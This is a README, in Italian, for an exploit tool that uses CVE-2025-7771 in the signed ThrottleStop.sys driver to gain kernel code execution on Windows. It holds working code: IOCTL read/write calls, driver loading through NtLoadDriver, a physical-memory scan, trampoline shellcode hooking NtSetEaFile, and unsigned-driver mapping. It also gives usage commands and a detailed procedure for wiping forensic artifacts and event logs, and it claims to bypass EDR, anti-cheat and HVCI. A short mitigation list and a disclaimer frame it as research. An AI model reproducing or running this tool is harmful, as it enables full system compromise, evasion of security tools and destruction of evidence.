
Elevazione dei privilegi nel sistema da driver non firmato usando la vulnerabilità ThrottleStop
CVE-2025-7771 — Lettura/Scrittura Arbitraria di Memoria Fisica tramite IOCTL di ThrottleStop.sys
Questo progetto è pubblicato esclusivamente a scopo educativo e di ricerca. L'obiettivo è dimostrare come un driver kernel firmato e fidato possa essere weaponizzato per l'escalation di privilegi locale (LPE) da Amministratore a SYSTEM/Kernel, bypassando efficacemente le moderne funzionalità di sicurezza di Windows, tra cui HVCI (Hypervisor-Enforced Code Integrity) e Secure Boot.
Non utilizzare questo strumento per scopi malevoli. L'autore non è responsabile per eventuali usi impropri.
ThrottleStop.sys con IOCTL di mappatura della memoria fisicaIl driver kernel ThrottleStop.sys espone un dispositivo (\\.\ThrottleStop) accessibile a qualsiasi Amministratore locale. Implementa due IOCTL che forniscono accesso illimitato alla memoria fisica:
#define IOCTL_TS_READ_PHYS 0x80006498 // Legge un indirizzo fisico arbitrario
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Scrive su un indirizzo fisico arbitrario
0x80006498)Input: ULONG64 PhysicalAddress (8 byte)
Output: Buffer dati (1–8 byte per chiamata, determinato da OutputBufferLength)
Il driver chiama MmMapIoSpace() per mappare l'indirizzo fisico richiesto nello spazio virtuale del kernel, copia i dati nel buffer di output, quindi chiama MmUnmapIoSpace(). Nessuna validazione viene eseguita sull'indirizzo fisico — qualsiasi indirizzo nello spazio degli indirizzi fisici può essere letto.
0x8000649C)Input: ULONG64 PhysicalAddress (8 byte) + Dati (1–8 byte)
InputBufferLength = 8 + DataSize
Output: Nessuno
Stesso meccanismo della lettura, ma scrive i dati forniti dall'utente all'indirizzo fisico mappato. Ancora, nessuna validazione dell'indirizzo o dell'intervallo.
Il driver è stato progettato per consentire a ThrottleStop (un'utilità di undervolting/throttling della CPU) di leggere/scrivere direttamente MSR e registri hardware. Gli IOCTL di memoria fisica sono stati probabilmente aggiunti per l'accesso MMIO allo spazio di configurazione PCI o ai sensori termici della CPU, ma l'implementazione esegue zero controlli di confine:
GENERIC_READ | GENERIC_WRITE all'handleQuesto trasforma un driver di utilità hardware legittimo in una primitiva completa di lettura/scrittura a livello kernel.
La catena di sfruttamento sale da un account Amministratore locale a esecuzione di codice kernel arbitrario, ottenendo di fatto il controllo ring-0 a livello SYSTEM.
Il mapper inserisce ThrottleStop.sys in %TEMP%, crea una voce di registro del servizio in HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop e lo carica tramite NtLoadDriver():
// Abilita SeLoadDriverPrivilege per il processo corrente
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Crea voce di servizio che punta al file .sys depositato
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Carica tramite NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Apre l'handle del dispositivo
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Nota: Poiché ThrottleStop.sys è firmato legittimamente, viene caricato anche con HVCI/Secure Boot abilitati. La policy CI di Windows si fida del certificato.
Con l'handle del dispositivo, l'exploit può leggere/scrivere qualsiasi indirizzo fisico sul sistema:
// Legge 8 byte dall'indirizzo fisico 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Scrive 8 byte su un indirizzo fisico
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // indirizzo
*(ULONGLONG*)(input + 8) = shellcode_qword; // dati
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
L'exploit incapsula queste operazioni in funzioni helper che gestiscono letture/scritture a blocchi (1, 2, 4 o 8 byte per chiamata) per trasferimenti di lunghezza arbitraria.
Per eseguire funzioni kernel arbitrarie, l'exploit deve trovare l'indirizzo fisico di un gestore di syscall del kernel. Punta a NtSetEaFile (una syscall raramente monitorata):
ntoskrnl.exe in usermode tramite LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), ottieni la RVA di NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), avanza a passi di 2MB e confronta i byte:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // controllo rapido
{
read_phys(candidate_pa, verify, 32); // verifica completa
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // trovato!
// ... valida tramite PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) e verifica che la base restituita corrisponda a GetModuleHandle(NULL).Una volta noto l'indirizzo fisico di NtSetEaFile, l'exploit installa un trampolino da 12 byte direttamente tramite scritture di memoria fisica:
; Byte originali di NtSetEaFile (salvati per il ripristino)
; Sostituiti con:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Installa hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <indirizzo target>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Attivazione da usermode
NtSetEaFile(args...); // → salta a target_function nel kernel!
// Ripristina byte originali
write_phys(syscall_phys_addr, saved_bytes, 12);
Intuizione chiave: Scrivere sulla pagina fisica bypassa le protezioni di memoria virtuale di HVCI. HVCI impedisce pagine virtuali
W+X, ma le scritture in memoria fisica tramiteMmMapIoSpacenel driver vanno direttamente alla RAM.
Con la primitiva di hook delle syscall, l'exploit può chiamare qualsiasi funzione kernel con argomenti arbitrari:
// Alloca memoria kernel eseguibile (compatibile HVCI)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copia immagine driver nel pool kernel tramite RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Chiama il DriverEntry del driver
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
Questo effettivamente mappa ed esegue un driver non firmato nello spazio kernel — escalation di privilegi completa.
Dopo aver caricato il payload, l'exploit cancella tutte le tracce:
HVCI (Hypervisor-Enforced Code Integrity) impedisce l'esecuzione di codice non firmato nello spazio kernel imponendo W^X (Write XOR Execute) sulle pagine virtuali del kernel tramite Second Level Address Translation (SLAT/EPT).
Questo exploit bypassa HVCI perché:
Driver Legittimo: ThrottleStop.sys è correttamente firmato e supera la validazione CI, quindi si carica normalmente anche con HVCI attivo.
Fisico anziché Virtuale: Gli IOCTL usano MmMapIoSpace() che opera su indirizzi fisici. Le protezioni di HVCI sono applicate a livello di tabella delle pagine virtuali e tramite EPT, ma MmMapIoSpace crea un nuovo mapping virtuale per la pagina fisica con permessi appropriati. La scrittura sulla pagina fisica della syscall modifica il contenuto della RAM a cui il mapping virtuale esistente già punta.
Pool Eseguibile: L'exploit alloca memoria tramite ExAllocatePool2 con POOL_FLAG_NON_PAGED_EXECUTE, che è un modo legittimo e approvato da HVCI per ottenere memoria kernel eseguibile. Il kernel stesso lo usa per codice JIT e alcune allocazioni di pool.
Nessun Caricamento di Driver Non Firmato: Il mapper non chiama mai NtLoadDriver con un'immagine non firmata. Invece, scrive manualmente il payload in un'allocazione di pool kernel già eseguibile e chiama il suo punto di ingresso tramite l'hook della syscall.
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Carica ThrottleStop.sys (firmato, fidato)│
│ 2. Apri dispositivo \\.\ThrottleStop │
│ 3. Legge/Scrive memoria fisica tramite IOCTL│
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ Nessuna validazione, qualsiasi indirizzo │
│ fisico OK │
└──────────────┬──────────────────────────────┘
│ Scrittura memoria fisica
▼
┌─────────────────────────────────────────────┐
│ Pagina Fisica NtSetEaFile │
│ │
│ Byte originali sovrascritti con: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → Qualsiasi chiamata usermode a │
│ NtSetEaFile() ora esegue codice kernel │
│ arbitrario │
└──────────────┬──────────────────────────────┘
│ Esecuzione codice kernel
▼
┌─────────────────────────────────────────────┐
│ Compromissione Completa del Kernel │
│ │
│ • ExAllocatePool2 (pool eseguibile) │
│ • Mappa driver non firmato in memoria kernel│
│ • Chiama DriverEntry → accesso SYSTEM │
│ • Cancella tutti gli artefatti forensi │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Apri imxyviMapper.sln in Visual Studio
# Build → x64 Release
# Utilizzo base — scansione automatica della memoria fisica per la pagina syscall
mapper.exe payload_driver.sys
# Con CR3 kernel precalcolato (più veloce, salta la scansione)
mapper.exe payload_driver.sys 1AD000
[+] Driver: 45056 byte
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Caricamento driver vulnerabile...
[+] Driver caricato, handle=0x0000000000000094
[+] IOCTL OK
[*] Ricerca pagina syscall...
[+] Pagina syscall trovata
[*] Correzione import...
[*] Allocazione pool kernel eseguibile (49152 byte)...
[+] Pool allocato a: FFFFA40B7C8E0000
[*] Scrittura driver nel kernel...
[*] Chiamata punto di ingresso a 0xFFFFA40B7C8E3040...
[+] Punto di ingresso restituito
[*] Pulizia MmUnloadedDrivers...
[+] MmUnloadedDrivers pulito con successo
[*] Scaricamento driver vulnerabile...
[+] Fatto
ThrottleStop.sys alla Microsoft Vulnerable Driver BlocklistMmMapIoSpace che targettano indirizzi fisici supportati da RAM da parte di driver non in whitelistrdmsr/wrmsr) invece di MmMapIoSpace grezzoMmMapIoSpace a intervalli MMIO noti (regioni BAR PCI, LAPIC, ecc.)ThrottleStop.sys per hashQuesto progetto è rilasciato sotto la Licenza MIT per scopi di ricerca educativa. Il framework physmeme sottostante è © 2020 xerox (Licenza MIT).
🔬 Divulgazione Responsabile: Questa vulnerabilità è stata scoperta da Demoo1337 e segnalata al vendor. Questo repository funge da documentazione per la comunità di ricerca sulla sicurezza.
| Campo | Dettagli |
|---|
| CVE | CVE-2025-7771 |
| Driver | ThrottleStop.sys (distribuito con ThrottleStop) |
| Vendor | TechPowerUp / Kevin Glynn |
| Tipo | Lettura/Scrittura Arbitraria di Memoria Fisica |
| Impatto | Escalation di Privilegi Locale (Admin → Kernel) |
| CVSS | 8.2 (Alto) |
| Firma | Firmato Microsoft tramite WHQL / Attestation |
| Bypass HVCI | ✅ Sì — il driver è firmato legittimamente, consentito dalla policy CI |
| Artefatto | Metodo di Pulizia |
|---|
| Cache PiDDB | Sblocca PiDDBLock, trova la voce nell'albero AVL tramite RtlLookupElementGenericTableAvl, scollega ed elimina |
| MmUnloadedDrivers | Scansiona il buffer circolare a 50 voci, azzera il nome e la voce corrispondenti |
| BigPoolTable | Scansiona PoolBigPageTable per l'allocazione VA, azzera la voce |
| Intestazione Pool | Falsifica il tag POOL_HEADER in MmSt (tag di sistema comune) |
| Intestazioni PE | Azzera le intestazioni DOS/NT, la directory di importazione, la directory di debug, le sezioni discardable nell'allocazione kernel |
| Registro | Elimina la chiave HKLM\...\Services\ThrottleStop e il suo albero |
| File Driver | Elimina ThrottleStop.sys da %TEMP% |
| Registri Eventi | Cancella le voci rilevanti dai log di Sistema e Sicurezza |
| Prefetch / BAM | Pulisce ShimCache, BAM (Background Activity Moderator) e artefatti Prefetch |
| Categoria | Impatto |
|---|
| Riservatezza | 🔴 Totale — legge qualsiasi memoria kernel/processo |
| Integrità | 🔴 Totale — scrive su qualsiasi struttura kernel, hooka qualsiasi funzione |
| Disponibilità | 🟡 Alto — scritture errate causano BSOD |
| Bypass Autenticazione | 🔴 Accesso SYSTEM da Admin |
| Bypass Anti-Cheat | 🔴 Bypassa anti-cheat a livello kernel (EAC, BattlEye, Vanguard) |
| Bypass EDR | 🔴 Esegue sotto gli hook EDR, può unhook/disabilitare strumenti di sicurezza |
| HVCI | 🔴 Bypassato tramite driver firmato legittimo |
| Secure Boot | 🔴 Bypassato (driver ha firma valida) |
| Chi | Contributo |
|---|
| Demoo1337 | Scoperta originale e documentazione di CVE-2025-7771. Reverse engineering dei gestori IOCTL di ThrottleStop.sys, identificazione della vulnerabilità di memoria fisica MmMapIoSpace e pubblicazione del proof-of-concept exploit. Questo progetto non esisterebbe senza la sua ricerca. |
| xerox / IDontCode | Autore del framework physmeme utilizzato come base per il mapper kernel, l'hooking delle syscall e la logica di pulizia forense. |
| TheCruZ | Autore di kdmapper, le cui tecniche per la pulizia della cache PiDDB e il mapping dei driver hanno informato questa implementazione. |